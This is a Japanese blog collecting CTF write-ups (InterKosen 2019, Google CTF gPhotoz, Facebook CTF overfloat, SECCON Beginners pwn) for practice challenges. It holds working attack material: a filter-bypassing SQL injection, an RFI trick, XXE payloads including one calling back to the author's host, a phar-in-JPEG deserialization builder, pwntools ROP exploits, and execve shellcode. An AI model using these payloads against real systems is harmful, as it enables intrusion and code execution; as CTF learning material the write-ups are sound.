Interkosen CTF 2019 Writeup

結果はフラグを入れた91チーム中、チームContrailは5位でした。

f:id:Nperair:20190813195228p:plain
score
チームとしてはcrypto以外は全完で、私もいくつか貢献できたので本当に嬉しいです。
とてもおもしろいCTFでした。良問を揃えてくれ、潤沢なサーバーリソースを提供してくれた運営には感謝。

REV

 favorites [357points]

radare2で解析し、python3でsolverを書いた。
メインルーチンはこのようになっていて、0x12b9から0xe回のループで
ret = f(user_input, counter, ret)
によって暗号化された入力を0x1352で4桁ずつHEX文字列にし、正解と比較している。(retの初期値は0x1234)

f:id:Nperair:20190813192007p:plain
main

つまり、f()の内容さえ解析できればフラグとヒットする文字列を探索できそうだとわかる。
f(user_input, counter, ret)を見てみよう。
f:id:Nperair:20190813192523p:plain
f(user_input, counter, ret)
分岐もないし長くもないし簡単じゃんと思う。私もそう思いました。
実はビット拡張やal,axなどを編集する処理があり、とても解読がつらい。なんか微妙にずれて永遠に答えが出ず、今回のCTFの長い時間をこの問題と過ごすことになった。
気合でretdecなどの力を借りつつ(そのままだと正しくない)読むとこのようになる。気がしたが上位ビットがちょっとずれて永遠にわからんので無視した。

def f(a1,a2,a3):
    v1 = a3 & 0xffffffffffffffff
    v2 = (((v1 >> 12) % 16 | 16 * v1) ^ v1 >> 4) << 8 & 0xff00
    return v2 |( ((((a2 ^ 0xf) <<4 & 0xffffffff) | ((0xffffffff)  & a2) >>4) & 0xff) ^ (( a1 << 4 | a1 & 0xff00 | a1 >> 4 & 0xf) + 1) & 0xff) & 0xffff

あとはsolverを書く。ちなみに問題に好きなアニメとか暗号化されて埋め込まれてるが一切関係ない(めちゃくちゃ困惑して迷った)。

def f(a1,a2,a3):
    v1 = a3 & 0xffffffffffffffff
    v2 = (((v1 >> 12) % 16 | 16 * v1) ^ v1 >> 4) << 8 & 0xff00
    return v2 |( ((((a2 ^ 0xf) <<4 & 0xffffffff) | ((0xffffffff)  & a2) >>4) & 0xff) ^ (( a1 << 4 | a1 & 0xff00 | a1 >> 4 & 0xf) + 1) & 0xff) & 0xffff
correct = "62d57b27c5d411c45d67a3565f84bd67ad049a64efa694d624340178"
s = correct
anslist = [s[i: i+4] for i in range(0, len(s), 4)]
print(anslist)
rdx = 0x1234
for d in range(0,0xe):
    for i in range(0x30,0x7f):
        ret = f(i,d,rdx)
        if(hex(ret)[-2:] == anslist[d][-2:]):
            print(chr(i),end="")
            rdx = ret
            break

KosenCTF{Bl00m_1n70_Y0u}

WEB

Neko Loader [434points]

問題サーバが閉じてしまったため詳細は割愛するが、phpにおいてinclude()でRFIが出来る問題。ただし、入力にかなり制約があるため工夫が必要。
include("ftp://xxx.php#ftp:")
のようなincludeをさせる。
通常、php7ではnull byte injectionなどにより末尾に追加される文字列をスキップできないが、URL形式であれば#以降はスキップできることを利用し、ftpが制限をバイパス出来ることを利用した。
今回のRFIの想定は少し突飛だが、ftpスキームによりcloudflareの攻撃検知をバイパスする手法は実際に存在するため、大いに覚えておく価値はある。

E-Sequel-Injection [500points]

コメントアウトやunion、orなどが全て禁止され、andとin、その他記号を用いて以下のsqlでadminとしてログインする問題
prepareしているため一見脆弱性は存在しないように見えるが、使い方を間違えているためインジェクション可能(ここはチームメイトに指摘を頂いた)

$pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");

抜ける必要がある正規表現は以下。

$pattern = '/(\s|UNION|OR|=|TRUE|FALSE|>|<|IS|LIKE|BETWEEN|REGEXP|--|#|;|\/|\*|\|)/i';

スペースやコメントアウトが禁止されているため、末尾の ' がかなり難しい、orが使えれば''or''で抜けられるし、スペースが有りならorder by ''で抜けられるが、この状況では無理。

mysqlの仕様と睨んでいたが、最終的にand'1'が可能であることが手元の検証でわかったため、以下のようなsqlを組み立ててフラグを通した。

SELECT username from users where username='admin'and'admin'in('admin','and password=')and'1'

KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}

and'1'はかなり実用的に思える。

Google CTF gPhotoz 解けなかったwriteup

題名の通り解けませんでした。
いい感じの所までは進めたので進捗を共有します。誰か答えを教えてほしい(solve 1)

writeup

?action=srcのリンクが隠されており、アクセスするとphpソースコードが手に入る。 全体のコードは割愛するが、単純な画像アップローダである。 mimeでファイルタイプを判定しており、画像のみアップロード可能。

    function __construct($path) {
        $formats = [
            "image/gif" => "gif",
            "image/png" => "png",
            "image/jpeg" => "jpg",
            "image/svg+xml" => "svg",
            // Uncomment when launching gVideoz
            //"video/mp4" => "mp4",
        ];

        $mime_type = mime_content_type($path);

アップロード後画像は圧縮され、生成されたサムネイルと元ファイルのリンクを返す。

exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128'.workdir()."/{$this->name}_small.jpg"), $out, $ret); 

圧縮に失敗すると__destruct()が走る。

    function __destruct() {
        if ($this->failed) {
            shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
        }

__ destruct()はphar stream wrapperによってunserializeが走った際に呼ばれる特性があり、オブジェクトコードインジェクションによってメンバを書き換えて呼び出せる。(好きなメンバで__destruct()を呼べるが、現在処理中のオブジェクトに影響はない)。phar stream wrapperを経由して画像ファイルに偽装したpharを呼び出せば、任意の引数でrmを呼び出せる。 さて、phar://のurlをつけてファイルを呼び出させる必要があるがurlによってファイルの読み出しを行うスクリプトはないため工夫する必要がある。 そこでmime_typeに注目すると、svgxmlで読み込むことを許可しているため好きなxmlを読ませられることに気づく。 試しに次のようなxmlを送るとコネクションが帰ってくる。

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY % xxe SYSTEM "http://myip/">
%xxe;
]>

<svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="150" y="150" font-size="10">a</text>
</svg>

そこで、次のようにする。

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY % xxe SYSTEM "phar:///var/www/html/upload/xxxx/xxx.jpg">
%xxe;
]>

<svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="150" y="150" font-size="10">a</text>
</svg>

これにより、pharストリームラッパーでファイルを読み込むことが出来る。 あとは、jpgに偽装したpharを上げればよい。 次のようなスクリプトmime typeがjpegのpharを作る。

<?php
@unlink("phar.phar");
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
require("./baseclass.php");#本家ソースコードの定義部分を持ってきてメンバを書き換えたもの。
$phar = new Phar("./phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("$jpeg_header_size <?php __HALT_COMPILER(); ");
$object = new PhotoUpload("");
$phar->setMetadata($object);
$phar->stopBuffering();
?>

これをアップロードし、先程のxmlのENTRYを適切に操作したものをアップすればrmの引数を変更できるが、escapeshellcmdによってエスケープされるため、他のコマンドにつなげることができない。ただapacheパーミッションで好きなファイルを消せるだけであるが、何もない。お手上げである。 そもそもフラグがどこにあるのかもよくわからない。。。

 誰か解いてくれ

Facebook CTF 2019 writeup : overfloat

これしか解けませんでした。
otp_serverは解けそうだったもののnonceをガチャる方法がよくわからず敗退。

Writeup

なにやってるのかよくわからないが、2つの値をセットで読み込んで、それらはfloat型で保持されるらしい。
コードをぱっと読んでも何も浮かばなかったのでファジングを試みた。

from pwn import *
import time
context.log_level = "DEBUG"

count = 1
while True:
    p = process("./overfloat")
    p.recv()
    print(count)
    for i in range(count):
        p.sendline(b"1")
        p.sendline(b"1")
        p.recv()
    p.sendline(b"done")
    p.recv()
    if p.poll(block = True) is not 0:
        break
    count += 1
print(count)

上記を実行すると、8回目のループで例外が発生した。
gdbで詳しく見ると、8回目のループでリターンアドレスを書き換えている。
つまり、14回の入力まででbase addressを書き換えることができ、次でリターンアドレスを書き換えripを制御できる。

今回、値はfloat型で保持されるため、入力は4byteの浮動小数点として格納される。
そのため、浮動小数点として変換されたさいに目的の値になるように入力を行う必要がある。
また、8byteの値を書き込みたい場合2回に分ける必要がある。

exploit

ropによるputs_plt(puts_got)を用いたlibcのリーク → one_gadgetの書き込みの手順を行う。

from pwn import *
import time
import binascii
# context.log_level="DEBUG"


def hex_to_float(s):
    s = s[2:]
    s = "0"*(8 - len(s)) + s
    return format(struct.unpack('>f', binascii.unhexlify(s))[0], ".10g")


def number_to_floatbytes(n):
    return str(hex_to_float(hex(n))).encode("utf-8")


def write_buf(buf):
    for b in buf:
        p.sendline(number_to_floatbytes(b))
        p.sendline(b"0")
    p.sendline("done")


pop_rdi = 0x00400a83
puts_plt = 0x00400690
puts_got = 0x00602020
libc_puts = 0x0000000000809c0
one_gadget = 0x10a38c
main = 0x0400993
# p = process("./overfloat")
# gdb.attach(p, """
#        set follow-fork-mode child
#        c
# """)
# time.sleep(1)

p = remote("challenges.fbctf.com", 1341)

# stage1 : leak libc address
for j in range(14):
    p.sendline(str(j).encode("utf-8"))
    print(p.recv())

# make ropchain to leak puts_got
buf = []
buf.append(pop_rdi)
buf.append(puts_got)
buf.append(puts_plt)
buf.append(main)
write_buf(buf)

# calculate libc_base
p.recvline()
r = p.recvuntil(b"\x7f")
puts = u64(r.ljust(8, b"\x00"))
libc_base = puts - libc_puts

# make one_gadget address
target = libc_base + one_gadget
print("[+]target " + hex(target))

# padding float size
tmp = hex(target)[2:]
pad_target = "0"*(16 - len(tmp)) + tmp
low = pad_target[8:16]
high = pad_target[0:8]

print("[*]low " + low)
print("[*]high " + high)

# stage2 : write one_gadge
for j in range(14):
    p.sendline(str(j).encode("utf-8"))
    p.recv()

p.sendline(number_to_floatbytes(int(low, 16)))
p.sendline(number_to_floatbytes(int(high, 16)))
p.sendline(b"done")
p.interactive()

シェルを操作してflagを読んで終わり。

SECCON Beginners 2019 のPwnのWriteup

f:id:Nperair:20190526162439p:plain
douroとしてソロ参加しました。2000pt獲得しての41位でした。

少しずつ手を付けて主にpwnとrevを頑張りました。

無駄に時間を使って手をつけれなかった問題があり、反省点です。 babyheapはdouble freeでエラーを吐いて無理だったのですが、libcのバージョンが駄目だったらしい。

shellcoder

/bin/shの文字列が使えないので,xorする処理を考えるが、バイト数の制限が面倒。

stagerを書いて、mmapされている領域の余った部分にreadで追加のシェルコードを書いて処理を飛ばす。0x1000もあるので自由だし、長さを気にせず書ける。
nxbitが立っているので、mmapされていないスタックに飛ばすと止まるので注意。

stager.s

section .text
     global _start
     _start:
        mov rsi,rdx
        add rsi,0x40
        mov rdi,0
        mov rdx,136
        xor rax,rax
        syscall
        jmp rsi

shellcode.s

section .text
  global _start
    _start:
      push rbp
      mov rbp,rsp
      push rax
      xor rdx, rdx
      xor rsi, rsi
      mov rbx,QWORD 0x544f131352555e13
      push rbx
      
      lea rax,[rsp]
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov QWORD [rax],0
      push rsp
      pop rdi
      xor rbx,rbx
      xor rcx,rcx
      mov rax, 59
      syscall

シェルコードを生成するスクリプト
gencode.sh

nasm -f elf64 $1.s
ld -o $1 $1.o
objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'

ループはjmp先の記憶が面倒なので一文字ずつxorしていったが、まとめてxorしたほうがよい。
確実に動作するためジャンプ先にあるゴミを除去し(/bin/shの末尾をnull終端)、一応色々なレジスタを初期化するコードを書いた。 わかりやすさ重視でいってしまったが格好悪いコードになった。

from pwn import *

p = remote("153.120.129.186", 20000)
print(p.recv())
shellcode = b"\x55\x48\x89\xe5\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x13\x5e\x55\x52\x13\x13\x4f\x54\x53\x48\x8d\x04\x24\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x48\xc7\x00\x00\x00\x00\x00\x54\x5f\x48\x31\xdb\x48\x31\xc9\xb8\x3b\x00\x00\x00\x0f\x05"
stager = b"\x48\x89\xd6\x48\x83\xc6\x40\xbf\x00\x00\x00\x00\xba\x88\x00\x00\x00\x48\x31\xc0\x0f\x05\xff\xe6"
print(len(shellcode))
print(len(stager))
p.sendline(stager)
p.sendline(shellcode)
p.interactive()

OneLine

適当に一文字書き込んでwriteのアドレスをリークすることができる。
libcのアドレスしかわからないのでone gadget rceするのがはやい。
もちろんlibcのガジェットを用いてropすることもできると思う。
bofのオフセットは出すのが面倒だったので適当にたくさん入力した。

from pwn import *
import time
context.log_level="DEBUG"
#server = process(["socat","tcp-listen:1234,fork,reuseaddr","exec:./speedrun-001"])
#gdb.attach(server, """
#        set follow-fork-mode child
#        c
#""")
#time.sleep(2)
one_gadget = 0x10a38c
libc_write = 0x000000000110140
p = process("./oneline")
p = remote("153.120.129.186",10000)
print(p.recv())
p.send("\x00")
leak = p.recvuntil(b"\x7f")
tmp = leak[32:]
leaked_write = u64(tmp+b"\x00"*(8-len(tmp)))
print(hex(leaked_write))
offset = leaked_write - libc_write
target = one_gadget + offset
p.send(p64(target)*0x10)
p.interactive()

memo

確保できる領域のサイズに制限があるが、素直に大きく確保するとスタックから離れてしまう。
しかし、unsignedな比較を行っているため、負の値を入力できる。 適当に試行錯誤し、rbp+8のリターンアドレスに書き込めるようにする。
hiddenのsystemを呼び出すことになるが、このときrsp+0x40のアドレスの末尾を0にしていなければmovaps命令の制約によりエラーが出る。
retを用いてスタックをずらすことで解決した。

from pwn import *
import time
#p = process("./memo")
#context.log_level="DEBUG"
#gdb.attach(p, """
#        set follow-fork-mode child
#        c
#""")
#time.sleep(2[f:id:Nperair:20190526162439p:plain])
hidden = 0x00000000004007bd
ret = 0x0040056e
p = remote("133.242.68.223",35285)
print(p.recv())
p.sendline(str(-0x61).encode("utf-8"))
print(p.recv())
buf = p64(0)
buf += p64(ret)
buf += p64(hidden)
buf += b"\x00"*0x400
p.sendline(buf)
print(p.recv())

p.interactive()